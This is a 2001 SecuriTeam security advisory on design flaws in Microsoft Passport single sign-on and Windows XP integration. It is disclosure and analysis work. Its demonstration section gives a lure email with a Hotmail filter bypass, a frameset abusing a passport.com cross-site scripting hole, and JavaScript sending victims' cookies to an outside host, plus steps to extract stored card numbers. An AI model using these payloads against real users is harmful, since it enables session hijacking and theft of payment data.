

[NT] Microsoft Passport to Trouble

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2001-11/0018.html>

From: support@securiteam.com

Date: 11/13/01

From: support@securiteam.com

To: list@securiteam.com

Subject: [NT] Microsoft Passport to Trouble

Message-Id: <20011113183239.51BE1138BF@mail.der-keiler.de>

Date: Tue, 13 Nov 2001 19:32:39 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

Microsoft Passport to Trouble

SUMMARY

Microsoft is attempting to position their Passport single sign on authentication service as the single identity that an Internet user should need to perform all their online activities. Currently, Passport is not very widely deployed outside of Microsoft sites (in particular, most Passport accounts currently are actually Hotmail accounts). With their NET "my services" push, Microsoft is trying to change this.

The current implementation of Passport, ignoring the new Windows XP specific functionality for the moment, is wholly inadequate to this task. It does not allow for sufficient control over the use of authentication information by a user and, where current technologies fall short of the ideal, it trades off security in favor of convenience in a way that leaves users vulnerable.

It is possible to use these design flaws and implementation holes to effectively steal a user's Passport in certain situations. One such example scenario was put together to demonstrate these flaws consist of:

- 1) User has a Hotmail account, and stores some credit card information in the Passport Wallet associated with that Passport account.

Securiteam: [NT] Microsoft Passport to Trouble

- 2) User logs into Hotmail and, within 15 minutes of logging in, reads an email message sent to them by an attacker.
- 3) The attacker has now stolen all the information in the user's Passport Wallet, including full credit card numbers. The user does not know this has happened, and did nothing other than read a mail sent to their Hotmail account.

There are many variations on this attack possible, limited only by the number of sites using Passport and the features they offer.

Windows XP attempts to integrate Passport accounts more transparently with a user's XP login account. This integration, while offering the potential for decreased security risks if implemented properly, appears to, in its current implementation, and possibly increases the risk by allowing the user to be automatically authenticated in situations where they did not expect to be or explicitly allow it. Further investigation is necessary to fully understand the security implications of this poorly documented (and apparently still changing on the Passport servers) integration.

The risk to users today is mitigated substantially by the fact that Passport use is not very widespread for anything more important than Hotmail accounts, and customizations on other Microsoft sites. The security implications, however, of having this Passport be a single identity for a user, in widespread use across the Internet, are dire.

It is very clear that either Microsoft does not have sufficient resources in place to properly review the security of their services and software (it only took the author about 30 minutes to come up with the basics of the example exploit, why didn't they notice the same issues?), or that they are aware of the shortcomings but decided that attempting to gain market share was more important than their user's security. Either way, extreme caution is necessary when considering the adoption of Passport technologies and, by implication, any technologies built on top of Passport.

DETAILS

Background:

This document is intended to provide an overview of some of the security aspects of Passport, and point out a few specific areas of vulnerability that can be exploited. To fully understand the contents of this document, please review the documents referenced in the additional information section. Microsoft has made various public statements about how they will be enhancing Passport in the future, however most of them are only vague suggestions, without firm commitments or details.

Note that all the information here is correct, to the best of our knowledge, at the time it was written. Microsoft may fix at least some of the issues before this is made public.

Securiteam: [NT] Microsoft Passport to Trouble

Microsoft Passport is a centralized user authentication service purporting to allow easy and secure authorization of users to participating web sites. The largest numbers of Passport users are from Microsoft's Hotmail free email service; every Hotmail account is authenticated using the Passport system, with a few special hooks apparently designed to support legacy Hotmail behavior.

Passport also has a feature called a "Passport wallet" that can store credit card and address information for a user's Passport account. This is designed to be used with a service called "Passport express purchase", which merchants can allow users to checkout without having to manually enter their address and payment information on each web site.

The newly released Windows XP (combined with IE6) supports a new type of HTTP authentication that Microsoft created called "passport authentication". This feature helps allow for Windows XP to manage a user's Passport account, and is supposed to allow for an easier and more transparent authentication to the Passport service.

Links to more detailed information about these technologies and how they are implemented can be found in the additional information section below.

The Implementation: pre-XP cookie based

When you login to your Passport account, you are directed to a server in the .passport.com domain, to which you authenticate with a user name and password. It then sets a variety of cookies in the passport.com domain. If you are logging into a site using Passport that is not itself passport.com, you are then redirected back to that site in a manner that sets a variety of cookies in that site's domain. You are authenticated to the server via the use of these cookies. Some of these cookies are described in

<http://www.passport.com/sdkdocuments/sdk20/REFERENCE/UNIXREFERENCE11/ifaces/ipassportmanager/cookie>

Microsoft's Passport SDK Documentation. Note that this documentation cannot be taken entirely at face value, since it is incomplete and misleading in several cases. A few of these cookies are of particular importance for other purposes.

The MSPSec cookie is important since it is the cookie that authenticates you to Passport to implement the single sign on feature, i.e. to allow you to be transparently authenticated to other sites that support Passport. Someone needs to obtain this cookie in order to be able to have Passport authenticate him or her as you to other sites. This cookie is normally set with a /ppsecure path, meaning it will only be sent to URLs on passport.com servers that are under /ppsecure on the particular server. This appears to be intended to be a security feature to limit security exposure of this cookie to reduce the chances of it being stolen. However, as we will describe later, setting a path on a cookie does not add to security at all in the vast majority of situations. This cookie is only set in the "domain authority's domain", i.e. passport.com currently.

The other cookie that is important for my purposes is the MSPAuth cookie. This cookie is set individually for each "participant domain" at login

Securiteam: [NT] Microsoft Passport to Trouble

time, in addition to being set in the domain authority's domain. This cookie identifies you to the server via the 64-bit Passport Unique ID (PUID) associated with your account. It also contains two timestamps: the time of the "last refresh" of the cookie, and the time of the "last manual sign-in".

Sites that wish to require more restrictive authorization than "they signed into their Passport account at some time in the past and haven't signed out yet" (especially given the option to allow you to stay signed into your Passport account all the time) can require that the last manual sign-in time is not longer ago than a specified value. For example, Passport Wallet (which, for all intents and purposes, is just an application using Passport for authentication, except it is in the passport.com domain) requires that the last manual sign-in time is no more than 15 minutes in the past before granting access to use or edit your Passport Wallet (this is a slight oversimplification of what it actually requires; the reality is less stringent than this in some cases).

When you login to Passport, you can select a "keep me logged in" option. If you do, then the cookies that are set are permanent cookies. If you do not, they are session cookies that go away when your browser exits (remember, IE does not "exit" just because you close all the IE windows). Either way, most of the cookies remain valid forever regardless of when they expire in your browser, with the following exceptions:

- * The MSPAuth cookie contains timestamps detailed above; this allows pages to explicitly require the ticket not be older than a certain age. From what we have seen, "normal" pages do not generally impose this restriction, but only pages that are "more sensitive", such as your Passport Wallet. How these are defined depends, of course, on the site.
- * The MSPSec cookie contains your password, so it will be invalidated when you change your password.
- * The MSPProf cookie contains profile information, so it becomes out of date (but still valid) after you update your profile.

Once you have the cookies required to authenticate you to a participant domain, then pages that do not impose freshness requirements on the ticket will accept those cookies forever with no way, other than the participant domain changing their site-wide key, to invalidate those cookies if a third party has obtained them.

The Implementation: Passport Wallet

The Passport Wallet is a fairly simple application implemented on top of Passport that stores your credit card and contact information. It is used as a part of "Passport Express Purchase", which merchants can support on their site to allow users to use the information in their wallet to automatically fill out the billing and shipping information when making a purchase.

The Passport Wallet resides in the passport.com domain, and therefore uses the .passport.com cookies to authenticate you. As previously mentioned,

Securiteam: [NT] Microsoft Passport to Trouble

when first accessing the Passport Wallet, it requires that you have manually signed-in within the last 15 minutes. This is a sensible restriction designed to stop someone from being able to access your Passport Wallet by simply obtaining your cookies, either by physically accessing your machine or using one of any number of other remote exploits. In fact, Microsoft claims that one of the benefits of using Passport Wallet is that your credit card information is not stored locally on your computer, where it is vulnerable to theft, but is instead securely stored on Microsoft servers.

When you are in the process of checking out at a participating merchant, clicking on the Microsoft Express Purchase icon will take you to a Passport server to select what billing and shipping information to send to the merchant. When you submit the form, Passport redirects your browser back to the merchant with the information you selected. Note that despite claims to the contrary by Microsoft's white papers (e.g. "The information is encrypted using the key of the participating site, so that only this Passport site can decrypt it using the Passport Manager object. ", from Microsoft Passport: Privacy and Security Overview), this information is only encrypted using SSL, not using the participating site's key, so it can be stolen by a hostile client that has managed to steal the appropriate credentials.

Problems with Passport

There are a couple of particular problems with the Passport design and implementation that will be used to construct my demonstration exploit later on. While these problems appear minor, they combine to form a significant risk.

Reuse of Cached Authentication Information

Unfortunately, requiring that the user "manually signed in" within the 15 minutes before accessing their Passport Wallet does not provide as much security as it may appear at first glance. There are two general areas of concern.

The first issue is that the user may have entered their password, but in no way intended for it to be used to access their Passport Wallet. If, for example, a user enters their password to sign in to Hotmail, they are then allowed access to their Passport Wallet without further authentication for the next 15 minutes! Therefore, if someone logs into Hotmail then reads an email sent to him or her that uses one of a variety of attacks to steal their Passport cookies, that attacker has then effectively stolen that user's Passport Wallet, without the user ever knowing. In general, if we have information that is important enough to require explicitly manual authentication, then it should require that we authenticate specifically for that purpose, and allow me to know we are doing so, and not allow my previous authentication information to be reused.

The other issue is that a "manual sign in" does not actually require that the user enter their password in some cases. For example, if you use the "my Hotmail inbox" feature of MSN Messenger, which gives you direct access

Securiteam: [NT] Microsoft Passport to Trouble

to your Hotmail inbox, behind the scenes that acts just as if you had actually entered your password, when in reality it was MSN Messenger that entered it on your behalf. So for 15 minutes after you use the "my Hotmail inbox" feature to sign-in to Hotmail, your Passport Wallet is vulnerable even though you have not entered your password. There are many features built into MSN Messenger that do this, and may be similar features in other Microsoft products. Windows XP's built-in "passport authentication" has some similar flaws, discussed elsewhere. This is also obviously an issue if a user has physical access to your machine, although if they do then there are many other attacks they can carry out as well.

Update (Nov 4): Microsoft claims that MSN Messenger accesses never counted as a physical authentication in this manner. That appears to be a mostly accurate statement with the servers now deployed, however we are almost certain that when we were testing it earlier it was behaving in the way we describe above. It is possible we are wrong though. In any case, this does not appear to be a problem at this time, although there are still some curious artifacts associated with this feature.

While we use Passport Wallet as the example service, the same problems apply to other services that use Passport.

Passport does not provide sufficient functionality to allow it to be used for authorization to access information of differing security importance because it allows a token granted for one purpose to be used for another. While Microsoft has added the ability to layer a second level of authentication on top of a Passport account (e.g. a PIN), we have not seen any sites using this, and it is unclear if it is really beneficial. If you need to create separate passwords for every service, then what is the point of a single sign-on feature anyway? If Passport Wallet is supposed to be a good demonstration of how Passport can be used securely, it fails miserably.

One possible way to help mitigate this issue would be, if the intent is to have a user enter a password explicitly to access a particular feature, to pass an authentication token on to subsequent requests using something such as a hidden form field instead of storing the token in the cookie. Then it is only that sequence of actions that can be compromised, there is no cookie that can be stolen. It is still possible, in some situations, to steal the hidden form field, but it is much more difficult, and it makes it clear to users exactly what they are authenticating for.

Cross Site Scripting Bugs

The various passport.com web sites have a number of Cross Site Scripting vulnerabilities. Because of the fact that the cookies are set for any server in the .passport.com domain, all that is required is that any page on any server in .passport.com have a vulnerability, and all the cookies can be stolen.

The /ppsecure path set on the MSPSec cookie does not limit the pages that can be used to steal this cookie. One frame in a browser can access the cookies of another frame, if that second frame is from the same server as

Securiteam: [NT] Microsoft Passport to Trouble

the first. So all that is required for a page at <http://someserver.passport.com/somepath/foo.asp> to steal the MSPSec cookie is for it to open another frame with <http://someserver.passport.com/ppsecure> then access the cookies for that frame with JavaScript. It doesn't even matter if the page in /ppsecure doesn't exist, since a 404 not found page is just as good as any other for exploiting this.

The reality is that it must be assumed that cookies can be stolen from a user via a somewhat targeted attack against that user. By all means, precautions should be taken to avoid that, such as eliminating cross-site scripting holes. However, it is critical to limit the exposure if and when cookies are stolen. Passport does not do this, due to its use of a ticket with a fixed future expiry date. Passport also increases the risk of stolen cookies because they are set for the entire .passport.com domain, and not compartmentalized so that only the pages that really need them can access them.

Example Exploit against a Passport Wallet via Hotmail

Note that this example exploit has been tested against IE5.5 and IE6 on Windows 2000 and Windows 98. It should work with other versions of IE, but will sometimes have poor behavior on Windows XP. This does not mean XP is not vulnerable, just that there are some extra complications that change how the situation can be exploited. We have not yet confirmed that we are sufficiently familiar with these complications to construct a reliable exploit on XP.

This demonstration shows how, due to a variety of holes in Passport and related services, we can send an email to a Hotmail user that, if they read it within 15 minutes of logging into Hotmail, will steal all the information from their Passport wallet. The 15-minute limitation is not very huge of a limitation, since typical user behavior is logically to logon to Hotmail, then read their mail. They just have to read the message, and do not have to click on any link in it, etc.

We want to make it very clear that Hotmail is just an example of one service (that happens to be the most popular current use of Passport) that can be used in an attack, and the HTML filtering vulnerability exploited in Hotmail is not central to the attack. The particular cross-site scripting vulnerability exploited on the passport.com web site is not central to the attack either. In addition, the fact that the Passport Wallet is what is being accessed is not really central either; it is just used because it is the most integrated and popular component of Passport that stores information which most people would consider "more confidential". What this exploit is intended to show is that, overall, Passport and its current implementation have significant security flaws that make it ill suited to widespread use.

Step One: Hotmail HTML Filtering Hole

There have been many holes found in Hotmail's HTML filtering in the past. There will continue to be lots found in the future if Microsoft continues

Securiteam: [NT] Microsoft Passport to Trouble

down their current flawed path of trying to code in explicit support for blocking every freak case. Obviously, an exploit like this is enough to allow someone else to access your Hotmail account and do nasty things with it. However, that is not the central point here; the only reason we bother to include the Hotmail hole is since it was so quick to come up with a new exploit, and it makes it more obvious that no user interaction is required to steal the contents of the Passport Wallet. This exploit, as with everything else described in this document, is designed to be used against IE, but exploits are possible for whatever browser you want to pick that supports the features required to use Passport in the first place.

If you send the following email to a Hotmail account:

From: Jennifer Sparks <xxx@xxx.xxxx>
To: theuseryouwanttoexploit@hotmail.com
Content-type: text/html
Subject: Jack said I should email you...

Hi Ted. Jack said we would really hit it off. Maybe we can get together for drinks sometime. Maybe this friday? Let me know.

<HR>

You can see the below for demonstration purposes. In a real exploit, you wouldn't even see it happening.

<HR>


```
<_img foo="<IFRAME width='80%' height='400'  
src='http://alive.znep.com/~marcs/passport/grabit.html'></IFRAME>" >
```

Then when the user reads it, it will load a frame with grabit.html in, which can then continue on with Step Two. This does not require the execution of any JavaScript in the Hotmail message, although the hole lets you do that. Obviously, you could make it so the user does not see any of this going on.

Hotmail thinks the "<_img" is part of the start of a HTML tag, so it treats the characters inside that supposed tag as attributes, etc.

However, IE does not treat any tag starting with what it considers an invalid character to be a tag at all, so it does not treat it as markup at all, and continues on to parse the IFRAME tag.

Is IE wrong? You can argue about that. However, if Hotmail did not allow tags it knew nothing about, this would not be a problem. In general, most current browsers have quite complex rules for parsing HTML that can behave in much unexpected ways. Allow what you know to be good and well formed, do not just filter what you think is bad.

Remember, if you did not have this Hotmail hole you could still just send a link and try to social engineer the user to clicking on it. No part of

Securiteam: [NT] Microsoft Passport to Trouble

this exploit relies on executing JavaScript in the Hotmail domain.

Step Two: Setup A Couple of Frames

In Step One, we get the user's browser to load grabit.html. All grabit.html contains is:

```
<HTML><HEAD><TITLE>Wheeeee</TITLE>
<frameset rows="200,200">
<FRAME NAME="me1" SRC="https://register.passport.com/ppsecure/404please">
<FRAME NAME="me2"
SRC="https://register.passport.com/reg.srf?ru=https://www.passport.com/%22%3E%3CSCRIPT%20src='http://alive.znep.com/~/marcs/passport/snarf.cgi?cookies='+escape\(parent.frames\[0\].document.cookie\);">
</FRAMESET>
</HTML>
```

This loads two frames. The top frame is under the /ppsecure path to allow us to steal the MSPSec cookie. We do not actually have to do this for this exploit, but we are throwing this in just to show how trivial it is. The page does not exist, but that does not change anything.

The bottom frame exploits one of the passport.com cross-site scripting holes. reg.srf, if you are logged in, ends up loading a page saying you are already logged in that includes the ru parameter without properly encoding it. At that time, snarf.js executes to actually steal the cookies.

Step Three: Stealing the Cookies

Now snarf.js is being executed in the security context of a page with a URL of <http://register.passport.com/alreadysignedin.srf>.

The contents of snarf.js are quite simple:

```
s = new String(document.URL);
if (s.indexOf('http:') == 0) {
  setTimeout('document.location="https:" + s.substring(5, s.length-1,
1000)');
} else {
  document.location="http://alive.znep.com/~marcs/passport/snarf.cgi?cookies=" +
escape\(parent.frames\[0\].document.cookie\);"};
```

The only trick is that alreadysignedin.srf ends up being loaded as a non-SSL page, which is no good since we cannot access the SSL upper frame to grab the SSL-only MSPSec cookie, due to the scripting security model. So that's no problem, we just reload the same page using SSL, at which point our code executes again, and sends the cookies from the upper frame off to a CGI script that just captures them to a log.

Part Four: So we have the cookies...

Congratulations, you have successfully stolen some cookies. You can then automate the rest of the stealing of the Passport Wallet however, you want. The easy way for demonstrations is to just copy the cookies into a

Securiteam: [NT] Microsoft Passport to Trouble

Netscape cookies file, and go from there. The easiest way to actually get the full credit card numbers, etc. is to go to a Passport Express Purchase enabled store, go through the checkout, and then many or most stores will show you all the information as part of the order page. We are sure you can figure out the other ways to automate it or grab it without actually involving any merchant's site. Hint: the information is sent to the browser as part of a form that automatically posts back to the merchant site using ECML.

Exploit Conclusion

This site demonstrates a few holes that, combined, let you access a Passport user's information in ways that you should not be able to. The Hotmail HTML filtering hole and this particular cross-site scripting issue on passport.com will quickly be fixed, making this particular exploit stop working. However, unless the deeper issues are addressed, it is still fairly trivial to come up with a new exploit using slightly different techniques. The key problems here are that the cookies go to all passport.com servers, broadening the attack space, and that when the user uses a password to authenticate for one purpose, the resulting token can be used for other purposes.

The Implementation: XP/IE6 "Passport authentication"

In Windows XP, Microsoft has allowed users to associate a Passport account with their Windows XP account. They also encourage users quite strongly to sign up for a Passport account, default to enabling the "automatically log me in" option, and default to having MSN Messenger startup when you login if you have a Passport account.

On the plus side(?), Windows XP does appear to introduce a "key store" so that applications such as MSN Messenger do not have to all store their passwords individually, but they can be grouped into a single repository that can supposedly be protected with encryption. However, we were unable to figure out any of the details of this or how to actually enable encryption.

XP introduces a "passport authentication" method. It is similar to HTTP basic authentication in that it uses Authorization: headers, etc. however, it has some different properties. We cannot speak definitively about how it works, since we are seeing very inconsistent (and buggy?) behavior while trying to test it, and there appear to be inconsistencies or changes on some of the Passport servers that make it difficult to reproduce certain behaviors. There also appears to be no documentation available on how this protocol works, which is always suspicious from a security standpoint. However, we will make a few comments on what we have seen so far.

After associating my Passport with my XP account, we have been able to login to Windows XP, and have it automatically log me into the Passport web site, with full access to my Passport Wallet. All without prompting me for a password once! Obviously being logged in by XP was being treated as a "manual sign-in". This behavior is not consistent, however. This is

Securiteam: [NT] Microsoft Passport to Trouble

clearly quite a security risk if a malicious web page can take you from a state of not being logged in, to stealing your Passport Wallet, etc. without you knowing one thing about it.

Even though Passport authentication uses variations on the standard HTTP authentication headers, we still end up getting the various Passport cookies set when using XP, which can still be stolen in the same way they previously could. Why build your own authentication technology if it is just as easy to steal credentials from it? It is unclear to me if these cookies are just for compatibility purposes, or if only a subset of functionality is implemented using the Passport authentication scheme. The odd thing, however, is that these cookies that are set as a result of Passport authentication are, at times, unique to the browser window they were set in. If we open a new browser window, the cookies are not sent and we are not authenticated. This is a major change from the way cookies and authentication has traditionally worked, and the implications are not clear to me. If the authorization information were moved out of cookies, it would certainly be more difficult! to steal it, however not necessarily impossible.

Having the passport authentication built into the client OS does help prevent having an attacker from creating a fake sign in screen, but... it only accomplishes that if the attacker cannot make the passport authentication pop-up be displayed for their fake site.

There may be other new behaviors introduced with XP that may result in different security implications. One that we did notice is that the MSPSec cookie is set with a path of / when accessed using IE6 on XP, as opposed to the /ppsecure path when not using XP.

It is too early to comment on the security implications of the integration of Passport into Windows XP. We have seen an alarming number of inconsistencies relating to when we are and are not logged into Passport sites, and when I have to enter a password and when we don't, and when we are given an option to "remember this password" and when we are not. What we can say right now is that XP is more easily exploited in some situations due to the Passport integration, however it may be safer in "normal" circumstances.

Update (Nov 4):Microsoft has stated that the XP integration should never allow a silent login that resets the last "manual sign-in" time. This does appear to fit with what we saw most of the time, but we are almost certain we saw it reset the last manual sign-in time if done immediately after logging into the XP account. We will have to look further at that. Microsoft has also stated that the cookies set using the "passport authentication" part of the XP integration are not accessible from client scripting languages. This may explain the odd behavior of having different cookies in different browser windows, but it appears they are still accessible in some circumstances. Overall, the statement made by a Microsoft spokesperson that XP users were never vulnerable to this attack is, to the best of my knowledge, incorrect.

ADDITIONAL INFORMATION

The information has been provided by <<mailto:adf@code511.com>>
deepquest---Code511.

Links to Information about Passport related technologies

Microsoft Passport Consumer Info

Microsoft Passport Business Info

What is new in Passport 2.x (.doc format only, talks about some scary features being added)

Microsoft Passport Security and Privacy Overview (.doc format only, has several technical errors)

Microsoft Passport Technical Overview (.doc format only)

Passport SDK Documentation

Risks of the Passport Single Sign-on Protocol

Microsoft damage control response to the previous paper

Electronic Privacy Information Center: Sign Out of Passport

What Microsoft Says They Are Doing

This section contains a summary of the mid to long range things that Microsoft says they are doing (and which were already underway) to more fully address some of these issues. We are not commenting much on them since the devil is in the details... overall, they sound fine but they have to be made reality.

* Compartmentalizing some of the Passport cookies to limit the exposure of the MSPSec ticket granting cookie to only the login servers, so that cross site scripting attacks against the other passport.com servers can't steal this particular cookie. This is a good thing, and appears to be a replacement for the inadequate attempt at using a "/ppsecure" path on the cookies to protect them. However, this has to be combined with other changes or the attacker can simply have the user's browser login to the site they are really interested in attacking before stealing those cookies.

* Moving to Kerberos. What does this mean exactly and how will they implement it, and how much will it disenfranchise non-IE browsers? We have no idea, and have not seen any technical details on their plans. This could be a big improvement, if done properly. Alternatively, it could be a disaster. Apparently, MSN and/or Windows Messenger are one of the first things they will be moving to the Kerberos based system.

* We are told they are adding some "innovative new spoof protection features" to make it harder to fake a Passport UI and steal passwords that way. Again, we will see what happens.

* Microsoft says they are adding support to allow the user to specify exactly how they want to be authenticated to each site (i.e. automatically always, prompted for credentials, anonymous) on a site-by-site basis. This is a necessary prerequisite for anyone to be able to sanely consider browsing the web logged into a Passport account all the time, however... they need to execute, execute, execute.

* Microsoft says they are adding support for the use of X.509 certificates for authenticating users to participating sites that want to

Securiteam: [NT] Microsoft Passport to Trouble

require a certificate. Will be interesting to see... although if you are already dealing with the overhead using client certificates than we would have to question how much value Passport is providing.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- *Previous message:* support@securiteam.com: "[NEWS] An Analysis of the RADIUS Authentication Protocol"
 - *Messages sorted by:* [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)